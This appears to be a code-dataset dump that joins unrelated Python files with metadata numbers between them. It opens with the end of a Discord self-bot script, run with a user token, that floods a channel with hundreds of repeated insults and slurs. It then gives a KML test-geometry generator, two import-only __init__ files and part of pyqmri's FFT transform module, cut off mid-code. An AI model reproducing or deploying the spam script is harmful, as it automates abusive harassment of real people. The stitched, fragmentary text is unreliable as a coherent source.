('WEAK ASS FUCKING TROLL CANT PRESS ME') await message.channel.send ('FOCUS LOLL UR ASS') await message.channel.send ('DUMBASS WEAK TROLL') await message.channel.send ('LOL FUCKING RETARDED BITCH') await message.channel.send ('DUMB BITCH YOU FEAR ME') await message.channel.send ('FUCKING TROLL') await message.channel.send ('U CANT PRESSURE ME') await message.channel.send ('1') await message.channel.send ('UR A SKID LOOLOOLOL') await message.channel.send ('DONT GET TIRED') await message.channel.send ('LOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOL') await message.channel.send ('LLOLOLOLOLOLOLLLOO') await message.channel.send ('LOOLLOLOLO') await message.channel.send ('L') await message.channel.send ('OLO') await message.channel.send ('LO') await message.channel.send ('O') await message.channel.send ('LOLOLO') await message.channel.send ('L') await message.channel.send ('YOU WEAK BITCH KEEP UP WITH ME') await message.channel.send ('KEEP CHAT MOVING SON') await message.channel.send ('NO BREAKS FOR YOU KEEP ON GOING SON') await message.channel.send ('WHY YOU SLOWING DOWN KEEP IT GOING') await message.channel.send ('WEAK FUCKING BITCH') await message.channel.send ('FUCKING RETARD DOESNT KNOW WHAT TO SAY') await message.channel.send ('YOU SUCK PUSSY') await message.channel.send ('LMFAOOO SHOULD I GIVE MY SON A CHANCE') await message.channel.send ('WEAK ASS BITCH FOCUS UP SON') await message.channel.send ('PRAY YOU WONT FOLD TONIGHT') await message.channel.send ('LMFAOAOAOAO') await message.channel.send ('WEAK ASS FUCKING TROLL CANT PRESS ME') await message.channel.send ('FOCUS LOLL UR ASS') await message.channel.send ('DUMBASS WEAK TROLL') await message.channel.send ('LOL FUCKING RETARDED BITCH') await message.channel.send ('DUMB BITCH YOU FEAR ME') await message.channel.send ('FUCKING TROLL') await message.channel.send ('SHUT') await message.channel.send ('THE') await message.channel.send ('FUCK') await message.channel.send ('UP') await message.channel.send ('AND') await message.channel.send ('COME') await message.channel.send ('MAKE A PRINT YOU SKIDDDDDDDDDD LOLLLLLLLLLLLLLLLL') await message.channel.send ('FUCKING') await message.channel.send ('PUSSY') await message.channel.send ('YOU') await message.channel.send ('SUCK') await message.channel.send ('FREAK DOESNT KNOW WHAT HE GOT HIMSELF INTO') await message.channel.send ('MY SON IS CRYING RN HE SLOWING DOWN') await message.channel.send ('HES GETTING HAND CRAMPS') await message.channel.send ('FOCUS UP SON FUCKING WEAK TROLL') await message.channel.send ('WEAK BITCH STOP DUCKING ME SON U CANT PRESS ME U SUCK') await message.channel.send ('LOOOL') await message.channel.send ('OL') await message.channel.send ('L') await message.channel.send ('OLO') await message.channel.send ('LO') await message.channel.send ('O') await message.channel.send ('LOLOLO') await message.channel.send ('L') await message.channel.send ('YOU WEAK BITCH KEEP UP WITH ME') await message.channel.send ('KEEP CHAT MOVING SON') await message.channel.send ('NO BREAKS FOR YOU KEEP ON GOING SON') await message.channel.send ('WHY YOU SLOWING DOWN KEEP IT GOING') await message.channel.send ('WEAK FUCKING BITCH') await message.channel.send ('FUCKING RETARD DOESNT KNOW WHAT TO SAY') await message.channel.send ('YOU SUCK PUSSY') await message.channel.send ('LMFAOOO SHOULD I GIVE MY SON A CHANCE') await message.channel.send ('WEAK ASS BITCH FOCUS UP SON') await message.channel.send ('PRAY YOU WONT FOLD TONIGHT') await message.channel.send ('LMFAOAOAOAO') await message.channel.send ('WEAK ASS FUCKING TROLL CANT PRESS ME') await message.channel.send ('FOCUS LOLL UR ASS') await message.channel.send ('DUMBASS WEAK TROLL') await message.channel.send ('LOL FUCKING RETARDED BITCH') await message.channel.send ('DUMB BITCH YOU FEAR ME') await message.channel.send ('FUCKING TROLL') await message.channel.send ('SHUT') await message.channel.send ('THE') await message.channel.send ('FUCK') await message.channel.send ('UP') await message.channel.send ('AND') await message.channel.send ('COME') await message.channel.send ('MAKE A PRINT YOU SKIDDDDDDDDDD LOLLLLLLLLLLLLLLLL') await message.channel.send ('FUCKING') await message.channel.send ('PUSSY') await message.channel.send ('YOU') await message.channel.send ('SUCK') await message.channel.send ('FREAK DOESNT KNOW WHAT HE GOT HIMSELF INTO') await message.channel.send ('MY SON IS CRYING RN HE SLOWING DOWN') await message.channel.send ('HES GETTING HAND CRAMPS') await message.channel.send ('FOCUS UP SON FUCKING WEAK TROLL') await message.channel.send ('WEAK BITCH STOP DUCKING ME SON U CANT PRESS ME U SUCK') await message.channel.send ('LOOOL') await message.channel.send ('OL') await message.channel.send ('L') await message.channel.send ('OLO') await message.channel.send ('LO') await message.channel.send ('O') await message.channel.send ('LOLOLO') await message.channel.send ('L') await message.channel.send ('YOU WEAK BITCH KEEP UP WITH ME') await message.channel.send ('KEEP CHAT MOVING SON') await message.channel.send ('NO BREAKS FOR YOU KEEP ON GOING SON') await message.channel.send ('WHY YOU SLOWING DOWN KEEP IT GOING') await message.channel.send ('WEAK FUCKING BITCH') await message.channel.send ('FUCKING RETARD DOESNT KNOW WHAT TO SAY') await message.channel.send ('YOU SUCK PUSSY') await message.channel.send ('LMFAOOO SHOULD I GIVE MY SON A CHANCE') await message.channel.send ('WEAK ASS BITCH FOCUS UP SON') await message.channel.send ('PRAY YOU WONT FOLD TONIGHT') await message.channel.send ('LMFAOAOAOAO') await message.channel.send ('WEAK ASS FUCKING TROLL CANT PRESS ME') await message.channel.send ('FOCUS LOLL UR ASS') await message.channel.send ('DUMBASS WEAK TROLL') await message.channel.send ('LOL FUCKING RETARDED BITCH') await message.channel.send ('DUMB BITCH YOU FEAR ME') await message.channel.send ('FUCKING TROLL') await message.channel.send ('SHUT') await message.channel.send ('THE') await message.channel.send ('FUCK') await message.channel.send ('UP') await message.channel.send ('AND') await message.channel.send ('COME') await message.channel.send ('MAKE A PRINT YOU SKIDDDDDDDDDD LOLLLLLLLLLLLLLLLL') await message.channel.send ('FUCKING') await message.channel.send ('PUSSY') await message.channel.send ('YOU') await message.channel.send ('SUCK') await message.channel.send ('FREAK DOESNT KNOW WHAT HE GOT HIMSELF INTO') await message.channel.send ('MY SON IS CRYING RN HE SLOWING DOWN') await message.channel.send ('HES GETTING HAND CRAMPS') await message.channel.send ('FOCUS UP SON FUCKING WEAK TROLL') await message.channel.send ('WEAK BITCH STOP DUCKING ME SON U CANT PRESS ME U SUCK') await message.channel.send ('LOOOL') await message.channel.send ('OL') await message.channel.send ('L') await message.channel.send ('OLO') await message.channel.send ('LO') await message.channel.send ('O') await message.channel.send ('LOLOLO') await message.channel.send ('L') await message.channel.send ('YOU WEAK BITCH KEEP UP WITH ME') await message.channel.send ('KEEP CHAT MOVING SON') await message.channel.send ('NO BREAKS FOR YOU KEEP ON GOING SON') await message.channel.send ('WHY YOU SLOWING DOWN KEEP IT GOING') await message.channel.send ('WEAK FUCKING BITCH') await message.channel.send ('FUCKING RETARD DOESNT KNOW WHAT TO SAY') await message.channel.send ('YOU SUCK PUSSY') await message.channel.send ('LMFAOOO SHOULD I GIVE MY SON A CHANCE') await message.channel.send ('WEAK ASS BITCH FOCUS UP SON') await message.channel.send ('PRAY YOU WONT FOLD TONIGHT') await message.channel.send ('LMFAOAOAOAO') await message.channel.send ('WEAK ASS FUCKING TROLL CANT PRESS ME') await message.channel.send ('FOCUS LOLL UR ASS') await message.channel.send ('DUMBASS WEAK TROLL') await message.channel.send ('LOL FUCKING RETARDED BITCH') await message.channel.send ('DUMB BITCH YOU FEAR ME') await message.channel.send ('FUCKING TROLL') await message.channel.send ('SHUT') await message.channel.send ('THE') await message.channel.send ('FUCK') await message.channel.send ('UP') await message.channel.send ('AND') await message.channel.send ('COME') await message.channel.send ('MAKE A PRINT YOU SKIDDDDDDDDDD LOLLLLLLLLLLLLLLLL') await message.channel.send ('FUCKING') await message.channel.send ('PUSSY') await message.channel.send ('YOU') await message.channel.send ('SUCK') await message.channel.send ('YOU WEAK BITCH KEEP UP WITH ME') await message.channel.send ('KEEP CHAT MOVING SON') await message.channel.send ('NO BREAKS FOR YOU KEEP ON GOING SON') await message.channel.send ('WHY YOU SLOWING DOWN KEEP IT GOING') await message.channel.send ('WEAK FUCKING BITCH') await message.channel.send ('FUCKING RETARD DOESNT KNOW WHAT TO SAY') await message.channel.send ('YOU SUCK PUSSY') await message.channel.send ('LMFAOOO SHOULD I GIVE MY SON A CHANCE') await message.channel.send ('WEAK ASS BITCH FOCUS UP SON') await message.channel.send ('PRAY YOU WONT FOLD TONIGHT') await message.channel.send ('LMFAOAOAOAO') await message.channel.send ('WEAK ASS FUCKING TROLL CANT PRESS ME') await message.channel.send ('FOCUS LOLL UR ASS') await message.channel.send ('DUMBASS WEAK TROLL') await message.channel.send ('LOL FUCKING RETARDED BITCH') await message.channel.send ('DUMB BITCH YOU FEAR ME') await message.channel.send ('FUCKING TROLL') await message.channel.send ('U CANT PRESSURE ME') await message.channel.send ('1') await message.channel.send ('UR A SKID LOOLOOLOL') await message.channel.send ('DONT GET TIRED') await message.channel.send ('LOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOL') await message.channel.send ('LLOLOLOLOLOLOLLLOO') await message.channel.send ('LOOLLOLOLO') vanis.run(token, bot=False)

56.301266

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0.062305

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0

null

1

0

1

0

null

0

10

e15738d640f8c06baf57cdc5b0aee171a80306ea

10,206

py

Python

test/shapefiles/gen_multi_geometries.py

roelderickx/ogr2pbf

7ac99488d8daa9452e2a41e40bf2554dc720166d

[ "MIT" ]

null

test/shapefiles/gen_multi_geometries.py

roelderickx/ogr2pbf

7ac99488d8daa9452e2a41e40bf2554dc720166d

[ "MIT" ]

null

test/shapefiles/gen_multi_geometries.py

roelderickx/ogr2pbf

7ac99488d8daa9452e2a41e40bf2554dc720166d

[ "MIT" ]

null

from simplekml import Kml, Color kml = Kml(open=1) # generate geometries multipoint = kml.newmultigeometry(name="TestMultiPoint") multipoint.newpoint(coords=[(-23.0967,33.4843)]) multipoint.newpoint(coords=[(-23.1061,33.4821)]) multipoint.newpoint(coords=[(-23.0975,33.4817)]) multilinestring = kml.newmultigeometry(name="TestMultiLinestring") multilinestring.newlinestring(coords=[(-23.1393528,33.4886545),(-23.1372929,33.4908736),(-23.1354046,33.4923052),(-23.1326580,33.4933073),(-23.1289673,33.4938799),(-23.1253624,33.4945957),(-23.1232166,33.4956693),(-23.1216717,33.4970293),(-23.1198692,33.4986755),(-23.1191826,33.5002501)]) multilinestring.newlinestring(coords=[(-23.1383228,33.4876524),(-23.1366062,33.4888693),(-23.1350613,33.4897998),(-23.1324005,33.4913030),(-23.1293964,33.4920904),(-23.1259632,33.4924483),(-23.1233883,33.4932357),(-23.1211567,33.4943809),(-23.1192684,33.4950967),(-23.1157494,33.4956693),(-23.1130886,33.4952399),(-23.1100845,33.4943809),(-23.1072521,33.4945241),(-23.1044197,33.4956693),(-23.1022739,33.4966714),(-23.1011581,33.4981029),(-23.0999565,33.4993912)]) multilinestring.newlinestring(coords=[(-23.1362629,33.4940946),(-23.1372070,33.4928778),(-23.1397820,33.4918041),(-23.1425285,33.4906588),(-23.1438160,33.4887977),(-23.1434727,33.4865070),(-23.1419277,33.4847890),(-23.1367779,33.4840731),(-23.1336021,33.4856480),(-23.1317139,33.4877240),(-23.1293106,33.4897283),(-23.1266499,33.4902293),(-23.1219292,33.4916609),(-23.1195259,33.4907304),(-23.1154060,33.4896567),(-23.1114578,33.4907304),(-23.1070805,33.4923052),(-23.1033897,33.4936652),(-23.0994415,33.4965998),(-23.0986691,33.4986039),(-23.0986691,33.5011805),(-23.1011581,33.5029698)]) multipolygon = kml.newmultigeometry(name="TestMultiPolygon") polygon1 = multipolygon.newpolygon(name="TestPolygonOnlyOuter") polygon1.outerboundaryis = [(-23.0895710,33.4706855),(-23.0868244,33.4729050),(-23.0818462,33.4744085),(-23.0760098,33.4738357),(-23.0727482,33.4737641),(-23.0702591,33.4745517),(-23.0689716,33.4755540),(-23.0683708,33.4769142),(-23.0689716,33.4778449),(-23.0709457,33.4772722),(-23.0737782,33.4761267),(-23.0778122,33.4772006),(-23.0790138,33.4786324),(-23.0786705,33.4804938),(-23.0774689,33.4819255),(-23.0756664,33.4823551),(-23.0742931,33.4837868),(-23.0740356,33.4856480),(-23.0724049,33.4870797),(-23.0697441,33.4884398),(-23.0687141,33.4880103),(-23.0688000,33.4871513),(-23.0714607,33.4854333),(-23.0706882,33.4832857),(-23.0691433,33.4851469),(-23.0657101,33.4849322),(-23.0639076,33.4828562),(-23.0632210,33.4807085),(-23.0631351,33.4784892),(-23.0640793,33.4761983),(-23.0651093,33.4744085),(-23.0671692,33.4720458),(-23.0712032,33.4707571),(-23.0739498,33.4701843),(-23.0764389,33.4683228),(-23.0767822,33.4663180),(-23.0761814,33.4645995),(-23.0739498,33.4629526),(-23.0709457,33.4612341),(-23.0704308,33.4593008),(-23.0710316,33.4572958),(-23.0728340,33.4566513),(-23.0755806,33.4560068),(-23.0778122,33.4557920),(-23.0811596,33.4557920),(-23.0843353,33.4557920),(-23.0881119,33.4538585),(-23.0901718,33.4522831),(-23.0922318,33.4504211),(-23.0954933,33.4503495),(-23.0985832,33.4521398),(-23.1007290,33.4550043),(-23.1036472,33.4558636),(-23.1075096,33.4570810),(-23.1108570,33.4576538),(-23.1130028,33.4590144),(-23.1141186,33.4615922),(-23.1143761,33.4643131),(-23.1085396,33.4653871),(-23.1037331,33.4678216),(-23.1018448,33.4711151),(-23.1021881,33.4731198),(-23.1040764,33.4762699),(-23.1037545,33.4773975),(-23.1026173,33.4777196),(-23.1014800,33.4775765),(-23.1007719,33.4771111),(-23.0985403,33.4760014),(-23.0971670,33.4756614),(-23.0961800,33.4753392),(-23.0914593,33.4720458),(-23.0895710,33.4706855)] polygon2 = multipolygon.newpolygon(name="TestPolygonWithInner") # outer polygon2.outerboundaryis = [(-23.1465626,33.4720458),(-23.1454468,33.4739073),(-23.1457901,33.4752676),(-23.1480217,33.4779881),(-23.1473351,33.4812096),(-23.1423569,33.4823551),(-23.1374645,33.4820687),(-23.1346321,33.4826414),(-23.1316280,33.4851469),(-23.1281948,33.4873660),(-23.1245041,33.4866502),(-23.1205559,33.4845742),(-23.1206417,33.4812812),(-23.1218433,33.4776301),(-23.1249332,33.4771290),(-23.1258774,33.4756972),(-23.1254482,33.4739073),(-23.1239033,33.4731198),(-23.1209850,33.4714015),(-23.1181526,33.4716163),(-23.1160069,33.4726902),(-23.1136036,33.4758403),(-23.1112862,33.4777017),(-23.1087971,33.4777733),(-23.1060505,33.4766995),(-23.1045914,33.4750528),(-23.1034756,33.4726186),(-23.1031322,33.4710435),(-23.1037331,33.4693967),(-23.1070805,33.4675352),(-23.1100845,33.4663896),(-23.1137753,33.4657451),(-23.1207275,33.4653871),(-23.1247616,33.4640983),(-23.1266499,33.4624514),(-23.1287098,33.4604465),(-23.1337738,33.4598020),(-23.1372070,33.4599452),(-23.1396961,33.4611625),(-23.1433868,33.4640983),(-23.1451893,33.4664612),(-23.1485367,33.4683228),(-23.1465626,33.4720458)] # inner polygon2.innerboundaryis = [(-23.1359196,33.4741937),(-23.1382370,33.4729050),(-23.1374645,33.4711151),(-23.1354904,33.4698263),(-23.1334305,33.4704707),(-23.1333447,33.4723322),(-23.1342888,33.4739789),(-23.1359196,33.4741937)] kml.save("multi_geometries.kml") # generate duplicate geometries multipointdup = kml.newmultigeometry(name="TestMultiPoint") multipointdup.newpoint(coords=[(-23.0967,33.4843)]) multipointdup.newpoint(coords=[(-23.1061,33.4821)]) multipointdup.newpoint(coords=[(-23.0975,33.4817)]) multilinestringdup = kml.newmultigeometry(name="TestMultiLinestring") multilinestringdup.newlinestring(coords=[(-23.1393528,33.4886545),(-23.1372929,33.4908736),(-23.1354046,33.4923052),(-23.1326580,33.4933073),(-23.1289673,33.4938799),(-23.1253624,33.4945957),(-23.1232166,33.4956693),(-23.1216717,33.4970293),(-23.1198692,33.4986755),(-23.1191826,33.5002501)]) multilinestringdup.newlinestring(coords=[(-23.1383228,33.4876524),(-23.1366062,33.4888693),(-23.1350613,33.4897998),(-23.1324005,33.4913030),(-23.1293964,33.4920904),(-23.1259632,33.4924483),(-23.1233883,33.4932357),(-23.1211567,33.4943809),(-23.1192684,33.4950967),(-23.1157494,33.4956693),(-23.1130886,33.4952399),(-23.1100845,33.4943809),(-23.1072521,33.4945241),(-23.1044197,33.4956693),(-23.1022739,33.4966714),(-23.1011581,33.4981029),(-23.0999565,33.4993912)]) multilinestringdup.newlinestring(coords=[(-23.1362629,33.4940946),(-23.1372070,33.4928778),(-23.1397820,33.4918041),(-23.1425285,33.4906588),(-23.1438160,33.4887977),(-23.1434727,33.4865070),(-23.1419277,33.4847890),(-23.1367779,33.4840731),(-23.1336021,33.4856480),(-23.1317139,33.4877240),(-23.1293106,33.4897283),(-23.1266499,33.4902293),(-23.1219292,33.4916609),(-23.1195259,33.4907304),(-23.1154060,33.4896567),(-23.1114578,33.4907304),(-23.1070805,33.4923052),(-23.1033897,33.4936652),(-23.0994415,33.4965998),(-23.0986691,33.4986039),(-23.0986691,33.5011805),(-23.1011581,33.5029698)]) multipolygondup = kml.newmultigeometry(name="TestMultiPolygon") polygon1dup = multipolygondup.newpolygon(name="TestPolygonOnlyOuter") polygon1dup.outerboundaryis = [(-23.0895710,33.4706855),(-23.0868244,33.4729050),(-23.0818462,33.4744085),(-23.0760098,33.4738357),(-23.0727482,33.4737641),(-23.0702591,33.4745517),(-23.0689716,33.4755540),(-23.0683708,33.4769142),(-23.0689716,33.4778449),(-23.0709457,33.4772722),(-23.0737782,33.4761267),(-23.0778122,33.4772006),(-23.0790138,33.4786324),(-23.0786705,33.4804938),(-23.0774689,33.4819255),(-23.0756664,33.4823551),(-23.0742931,33.4837868),(-23.0740356,33.4856480),(-23.0724049,33.4870797),(-23.0697441,33.4884398),(-23.0687141,33.4880103),(-23.0688000,33.4871513),(-23.0714607,33.4854333),(-23.0706882,33.4832857),(-23.0691433,33.4851469),(-23.0657101,33.4849322),(-23.0639076,33.4828562),(-23.0632210,33.4807085),(-23.0631351,33.4784892),(-23.0640793,33.4761983),(-23.0651093,33.4744085),(-23.0671692,33.4720458),(-23.0712032,33.4707571),(-23.0739498,33.4701843),(-23.0764389,33.4683228),(-23.0767822,33.4663180),(-23.0761814,33.4645995),(-23.0739498,33.4629526),(-23.0709457,33.4612341),(-23.0704308,33.4593008),(-23.0710316,33.4572958),(-23.0728340,33.4566513),(-23.0755806,33.4560068),(-23.0778122,33.4557920),(-23.0811596,33.4557920),(-23.0843353,33.4557920),(-23.0881119,33.4538585),(-23.0901718,33.4522831),(-23.0922318,33.4504211),(-23.0954933,33.4503495),(-23.0985832,33.4521398),(-23.1007290,33.4550043),(-23.1036472,33.4558636),(-23.1075096,33.4570810),(-23.1108570,33.4576538),(-23.1130028,33.4590144),(-23.1141186,33.4615922),(-23.1143761,33.4643131),(-23.1085396,33.4653871),(-23.1037331,33.4678216),(-23.1018448,33.4711151),(-23.1021881,33.4731198),(-23.1040764,33.4762699),(-23.1037545,33.4773975),(-23.1026173,33.4777196),(-23.1014800,33.4775765),(-23.1007719,33.4771111),(-23.0985403,33.4760014),(-23.0971670,33.4756614),(-23.0961800,33.4753392),(-23.0914593,33.4720458),(-23.0895710,33.4706855)] polygon2dup = multipolygondup.newpolygon(name="TestPolygonWithInner") # outer polygon2dup.outerboundaryis = [(-23.1465626,33.4720458),(-23.1454468,33.4739073),(-23.1457901,33.4752676),(-23.1480217,33.4779881),(-23.1473351,33.4812096),(-23.1423569,33.4823551),(-23.1374645,33.4820687),(-23.1346321,33.4826414),(-23.1316280,33.4851469),(-23.1281948,33.4873660),(-23.1245041,33.4866502),(-23.1205559,33.4845742),(-23.1206417,33.4812812),(-23.1218433,33.4776301),(-23.1249332,33.4771290),(-23.1258774,33.4756972),(-23.1254482,33.4739073),(-23.1239033,33.4731198),(-23.1209850,33.4714015),(-23.1181526,33.4716163),(-23.1160069,33.4726902),(-23.1136036,33.4758403),(-23.1112862,33.4777017),(-23.1087971,33.4777733),(-23.1060505,33.4766995),(-23.1045914,33.4750528),(-23.1034756,33.4726186),(-23.1031322,33.4710435),(-23.1037331,33.4693967),(-23.1070805,33.4675352),(-23.1100845,33.4663896),(-23.1137753,33.4657451),(-23.1207275,33.4653871),(-23.1247616,33.4640983),(-23.1266499,33.4624514),(-23.1287098,33.4604465),(-23.1337738,33.4598020),(-23.1372070,33.4599452),(-23.1396961,33.4611625),(-23.1433868,33.4640983),(-23.1451893,33.4664612),(-23.1485367,33.4683228),(-23.1465626,33.4720458)] # inner polygon2dup.innerboundaryis = [(-23.1359196,33.4741937),(-23.1382370,33.4729050),(-23.1374645,33.4711151),(-23.1354904,33.4698263),(-23.1334305,33.4704707),(-23.1333447,33.4723322),(-23.1342888,33.4739789),(-23.1359196,33.4741937)] kml.save("multi_geometries_duplicate.kml")

204.12

1,831

0.733784

1,527

10,206

4.902423

0.229862

0.012824

0.018434

0.009618

0.882447

0.861608

0

0.620673

0.009406

10,206

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1,832

208.285714

0.119782

0.007153

0

1

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0.022519

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false

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0.03125

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1

0

1

0

1

0

null

0

11

e15892cbc362e9baa7c2de7664b8a7f2a77201e0

133

py

Python

api/views/__init__.py

leupibr/undeep

66c8689c438872d4ea38b95e985023f246a99ea0

[ "MIT" ]

1

2020-06-04T13:21:32.000Z

api/views/__init__.py

leupibr/undeep

66c8689c438872d4ea38b95e985023f246a99ea0

[ "MIT" ]

18

2020-06-04T17:28:08.000Z

2022-02-27T06:00:53.000Z

api/views/__init__.py

leupibr/undeep

66c8689c438872d4ea38b95e985023f246a99ea0

[ "MIT" ]

2

2020-06-04T13:19:55.000Z

2020-09-01T13:38:48.000Z

import api.views.categories import api.views.documents import api.views.management import api.views.statistics import api.views.auth

22.166667

27

0.849624

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133

5.65

0.4

0.39823

0.619469

0

0.075188

133

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0.918699

0

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1

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null

0

1

0

1

0

1

0

7

e17da5b00fddafce6eed9530eb160de671e5cb87

58

py

Python

addons/crnd_web_diagram_plus/models/__init__.py

marionumza/vocal_v12

480990e919c9410903e06e7813ee92800bd6a569

[ "Unlicense" ]

null

addons/crnd_web_diagram_plus/models/__init__.py

marionumza/vocal_v12

480990e919c9410903e06e7813ee92800bd6a569

[ "Unlicense" ]

null

addons/crnd_web_diagram_plus/models/__init__.py

marionumza/vocal_v12

480990e919c9410903e06e7813ee92800bd6a569

[ "Unlicense" ]

1

2021-05-05T07:59:08.000Z

from . import ir_ui_view from . import ir_act_window_view

19.333333

32

0.827586

11

58

3.909091

0.636364

0.465116

0.55814

0

0.137931

58

2

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0

1

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true

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1

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1

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null

1

0

1

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null

0

1

0

1

0

1

0

7

e194b51b3dd136d1af4a890bc741b28aa8bf2b94

49,799

py

Python

pyqmri/transforms.py

philippgualdi/PyQMRI

5de3a7da5feb2d01b746acd47d1dba91a8a1417e

[ "Apache-2.0" ]

18

2019-08-09T18:42:33.000Z

2022-03-22T07:56:48.000Z

pyqmri/transforms.py

philippgualdi/PyQMRI

5de3a7da5feb2d01b746acd47d1dba91a8a1417e

[ "Apache-2.0" ]

4

2020-10-05T15:56:58.000Z

2021-08-19T11:51:54.000Z

pyqmri/transforms.py

philippgualdi/PyQMRI

5de3a7da5feb2d01b746acd47d1dba91a8a1417e

[ "Apache-2.0" ]

5

2020-04-21T17:28:58.000Z

2020-12-05T21:44:50.000Z

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """Module holding the classes for different FFT operators.""" import numpy as np import pyopencl as cl import pyopencl.array as clarray from gpyfft.fft import FFT from pkg_resources import resource_filename from pyqmri._helper_fun._calckbkernel import calckbkernel from pyqmri._helper_fun import CLProgram as Program class PyOpenCLnuFFT(): """Base class for FFT calculation. This class serves as the base class for all FFT object used in the varous optimization algorithms. It provides a factory method to generate a FFT object based on the input. Parameters ---------- ctx : PyOpenCL.Context The context for the PyOpenCL computations. queue : PyOpenCL.Queue The computation Queue for the PyOpenCL kernels. fft_dim : tuple of int The dimensions to take the fft over DTYPE : Numpy.dtype The comlex precision type. Currently complex64 is used. DTYPE_real : Numpy.dtype The real precision type. Currently float32 is used. Attributes ---------- DTYPE : Numpy.dtype The comlex precision type. Currently complex64 is used. DTYPE_real : Numpy.dtype The real precision type. Currently float32 is used. ctx : PyOpenCL.Context The context for the PyOpenCL computations. queue : PyOpenCL.Queue The computation Queue for the PyOpenCL kernels. prg : PyOpenCL.Program The PyOpenCL Program Object containing the compiled kernels. fft_dim : tuple of int The dimensions to take the fft over """ def __init__(self, ctx, queue, fft_dim, DTYPE, DTYPE_real): self.DTYPE = DTYPE self.DTYPE_real = DTYPE_real self.ctx = ctx self.queue = queue self.prg = None self.fft_dim = fft_dim @staticmethod def create(ctx, queue, par, kwidth=5, klength=1000, DTYPE=np.complex64, DTYPE_real=np.float32, radial=False, SMS=False, streamed=False): """FFT factory method. Based on the inputs this method decides which FFT object should be returned. Parameters ---------- ctx : PyOpenCL.Context The context for the PyOpenCL computations. queue : PyOpenCL.Queue The computation Queue for the PyOpenCL kernels. par : dict A python dict containing the necessary information to setup the object. Needs to contain the number of slices (NSlice), number of scans (NScan), image dimensions (dimX, dimY), number of coils (NC), sampling points (N) and read outs (NProj) a PyOpenCL queue (queue) and the complex coil sensitivities (C). kwidth : int, 5 The width of the sampling kernel for regridding of non-uniform kspace samples. klength : int, 200 The length of the kernel lookup table which samples the contineous gridding kernel. DTYPE : Numpy.dtype, numpy.complex64 The comlex precision type. Currently complex64 is used. DTYPE_real : Numpy.dtype, numpy.float32 The real precision type. Currently float32 is used. radial : bool, False Switch for Cartesian (False) and non-Cartesian (True) FFT. SMS : bool, False Switch between Simultaneous Multi Slice reconstruction (True) and simple slice by slice reconstruction. streamed : bool, False Switch between normal reconstruction in one big block versus streamed reconstruction of smaller blocks. Returns ------- PyOpenCLnuFFT object: The setup FFT object. Raises ------ AssertionError: If the Combination of passed flags to choose the FFT aren't compatible with each other. E.g.: Radial and SMS True. """ if not streamed: if radial is True and SMS is False: if par["is3D"]: obj = PyOpenCL3DRadialNUFFT( ctx, queue, par, kwidth=kwidth, klength=klength, DTYPE=DTYPE, DTYPE_real=DTYPE_real) else: obj = PyOpenCLRadialNUFFT( ctx, queue, par, kwidth=kwidth, klength=klength, DTYPE=DTYPE, DTYPE_real=DTYPE_real) elif SMS is True and radial is False: obj = PyOpenCLSMSNUFFT( ctx, queue, par, DTYPE=DTYPE, DTYPE_real=DTYPE_real) elif SMS is False and radial is False: obj = PyOpenCLCartNUFFT( ctx, queue, par, DTYPE=DTYPE, DTYPE_real=DTYPE_real) else: raise AssertionError("Combination of Radial " "and SMS not allowed") if DTYPE == np.complex128: print('Using double precision') file = open( resource_filename( 'pyqmri', 'kernels/OpenCL_gridding_double.c')) obj.prg = Program( obj.ctx, file.read()) else: print('Using single precision') file = open( resource_filename( 'pyqmri', 'kernels/OpenCL_gridding_single.c')) obj.prg = Program( obj.ctx, file.read()) else: if radial is True and SMS is False: if par["is3D"]: raise NotImplementedError("3D non-cartesian and streamed\ not implemented") obj = PyOpenCLRadialNUFFT( ctx, queue, par, kwidth=kwidth, klength=klength, DTYPE=DTYPE, DTYPE_real=DTYPE_real, streamed=True) elif SMS is True and radial is False: obj = PyOpenCLSMSNUFFT( ctx, queue, par, DTYPE=DTYPE, DTYPE_real=DTYPE_real, streamed=True) elif SMS is False and radial is False: obj = PyOpenCLCartNUFFT( ctx, queue, par, DTYPE=DTYPE, DTYPE_real=DTYPE_real, streamed=True) else: raise AssertionError("Combination of Radial " "and SMS not allowed") if DTYPE == np.complex128: print('Using double precision') file = open( resource_filename( 'pyqmri', 'kernels/OpenCL_gridding_slicefirst_double.c')) obj.prg = Program( obj.ctx, file.read()) else: print('Using single precision') file = open( resource_filename( 'pyqmri', 'kernels/OpenCL_gridding_slicefirst_single.c')) obj.prg = Program( obj.ctx, file.read()) file.close() return obj class PyOpenCLRadialNUFFT(PyOpenCLnuFFT): """Non-uniform FFT object. This class performs the non-uniform FFT (NUFFT) operation. Linear interpolation of a sampled gridding kernel is used to regrid points from the non-cartesian grid back on the cartesian grid. Parameters ---------- ctx : PyOpenCL.Context The context for the PyOpenCL computations. queue : PyOpenCL.Queue The computation Queue for the PyOpenCL kernels. par : dict A python dict containing the necessary information to setup the object. Needs to contain the number of slices (NSlice), number of scans (NScan), image dimensions (dimX, dimY), number of coils (NC), sampling points (N) and read outs (NProj) a PyOpenCL queue (queue) and the complex coil sensitivities (C). kwidth : int The width of the sampling kernel for regridding of non-uniform kspace samples. klength : int The length of the kernel lookup table which samples the contineous gridding kernel. DTYPE : Numpy.dtype The comlex precision type. Currently complex64 is used. DTYPE_real : Numpy.dtype The real precision type. Currently float32 is used. Attributes ---------- traj : PyOpenCL.Array The comlex sampling trajectory dcf : PyOpenCL.Array The densitiy compenation function ogf (float): The overgriddingfactor for non-cartesian k-spaces. fft_shape : tuple of ints 3 dimensional tuple. Dim 0 containts all Scans, Coils and Slices. Dim 1 and 2 the overgridded image dimensions. fft_scale : float32 The scaling factor to achieve a good adjointness of the forward and backward FFT. cl_kerneltable (PyOpenCL.Buffer): The gridding lookup table as read only Buffer cl_deapo (PyOpenCL.Buffer): The deapodization lookup table as read only Buffer par_fft : int The number of parallel fft calls. Typically it iterates over the Scans. fft : gpyfft.fft.FFT The fft object created from gpyfft (A wrapper for clFFT). The object is created only once an reused in each iterations, iterationg over all scans to keep the memory footprint low. prg : PyOpenCL.Program The PyOpenCL.Program object containing the necessary kernels to execute the linear Operator. This will be determined by the factory and set after the object is created. """ def __init__( self, ctx, queue, par, kwidth=5, klength=200, DTYPE=np.complex64, DTYPE_real=np.float32, streamed=False): super().__init__(ctx, queue, par["fft_dim"], DTYPE, DTYPE_real) self.ogf = par["ogf"] if streamed: self.fft_shape = ( par["NScan"] * par["NC"] * (par["par_slices"] + par["overlap"]), 